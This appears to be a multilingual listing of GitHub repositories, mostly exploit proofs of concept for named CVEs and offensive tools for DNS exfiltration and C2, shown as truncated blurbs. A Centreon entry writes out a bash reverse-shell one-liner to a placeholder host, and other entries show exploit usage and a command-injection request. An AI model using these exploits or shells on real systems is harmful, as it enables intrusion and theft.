Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Эксплойт для неавторизованного удаленного выполнения кода RCE через API ERS в Cisco ISE Этот репозиторий содержит эксплойт для проверки концепции на Python 3 для CVE-2025-20281 , критической уязвимости в Cisco Identity Services Engine ISE , которая позволяет неавторизованное...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus スキャン 0x02 K8 Tools GetShell 0x03 CMDクエリ 使用方法: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 и CVE-2024-9474 Обход аутентификации в веб-интерфейсе управления PAN-SA-2024-0015 и аутентифицированная инъекция команд в Palo Alto PAN-OS См. наш пост в блоге с техническими подробностями Затронутые версии TBD Авторы эксплойта Этот эксплойт написан Sonny из watchTowr @watchtowrcybe...

CVE-2022-35914-poc

CVE-2022-35914 PoC Ссылки https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr Использование pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection...

CVE-2023-29084

CVE-2023-29084 Injection de commande dans ManageEngine ADManager Plus Preuve de concept POST /api/json/admin/saveServerSettings HTTP/1.1 Host: 10.10.10.99:8080 Content-Length: 183 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 Windows...

cve-2024-31317

Исследование CVE-2024-31317 CVE-2024-31317 предоставляет непривилегированный доступ к любому uid и области SELinux, доступным обычным приложениям Android. Это обеспечивает доступ к uid 1000 system и uid 2000 shell, и может быть полностью вызвано непривилегированным приложением, что позволяет...

procrustes

Procrustes Un script bash qui automatise l'exfiltration de données sur DNS en cas d'exécution de commande aveugle sur un serveur où toutes les connexions sortantes, sauf DNS, sont bloquées. Le script prend actuellement en charge sh, bash et powershell et est compatible avec une exécution de style...

procrustes

Procrustes A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution e.g...

cve-2024-10220-test

Тестовый репозиторий CVE-2024-10220 Этот репозиторий используется для тестирования CVE-2024-10220 уязвимость gitRepo volume в Kubernetes в рамках исследований безопасности HPC в Университете Центрального Оклахомы. ПРЕДУПРЕЖДЕНИЕ: Этот репозиторий содержит вредоносный Git-хук для контролируемого...

CVE-2022-29337

CVE-2022-29337 Было обнаружено, что C-DATA FD702XW-X-R430 v2.1.13X001 содержит уязвимость внедрения команд через параметр vacmd в formlanipv6. Эта уязвимость позволяет злоумышленникам выполнять произвольные команды с помощью специально созданного HTTP-запроса...

gitpwnd

GitPwnd GitPwnd — это инструмент, помогающий в проведении тестов на проникновение в сеть. GitPwnd позволяет атакующему отправлять команды на скомпрометированные машины и получать результаты обратно, используя git-репозиторий в качестве транспортного уровня для канала управления C2. Благодаря...

CVE-2019-19268

CVE-2019-19268 Затронутая версия: rConfig 3.9.2. Описание Множество векторов атак в rConfig v3.9.2 из-за неправильной конфигурации, что позволяет локальным пользователям выполнять команды root через sudo. Обнаружившие dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 Email:...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 Получите возвращённые JSESSIONID и csrftoken, сформируйте пакет запроса для добавления пользователя замените JSESSIONID, csrftoken cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 Сборка и установка плагина mvn clean package...

LOLSpoof

LOLSpoof LOLSpoof est un programme shell interactif qui falsifie automatiquement les arguments de la ligne de commande du processus créé. Appelez simplement votre ligne de commande LOLBin à l'air suspect par ex. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA.... et LOLSpoof garantira que la...

timesketch

Timesketch Table of Contents 1. About Timesketch 2. Getting started 3. Community 4. Contributing About Timesketch Timesketch is an open-source tool for collaborative forensic timeline analysis. Using sketches you and your collaborators can easily organize your timelines and analyze them all at th...

CVE-2018-18649

CVE-2018-18649 CVE-2018-18649 EXP Описание EXP см.: Уязвимость удаленного выполнения команд в Gitlab Wiki API CVE-2018-18649...

Browser-ExternalC2

Browser-EC2...

CVE-2019-19699

CVE-2019-19699 Centreon = 명령어 기타로 이동합니다. 아래 이미지와 같이 추가 를 클릭합니다. 이제 bash 리버스 셸 을 Miscellaneous 명령어로 생성합니다. !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 그리고 저장 을 클릭합니다. 이제 설정 Pollers로 이동한 후 현재 Central 폴러를 클릭합니다. 이것은 폴러 구성 수정 메뉴에 접근할 수 있게 해줍니다. 여기서 아래로 스크롤하여 재시작 후 명령어 를 설정할 수 있습니다. 이전에 생성한 리버스 셸 을 선택하고...

Browser-C2

Browser-C2 Постэксплуатационный агент, использующий браузер для операций C2...

class-dump

class-dump class-dump — это утилита командной строки для исследования сегмента Objective-C в Mach-O файлах. Она генерирует объявления классов, категорий и протоколов. Это та же информация, которую предоставляет 'otool -ov', но представленная в виде обычных объявлений Objective-C. Актуальная верси...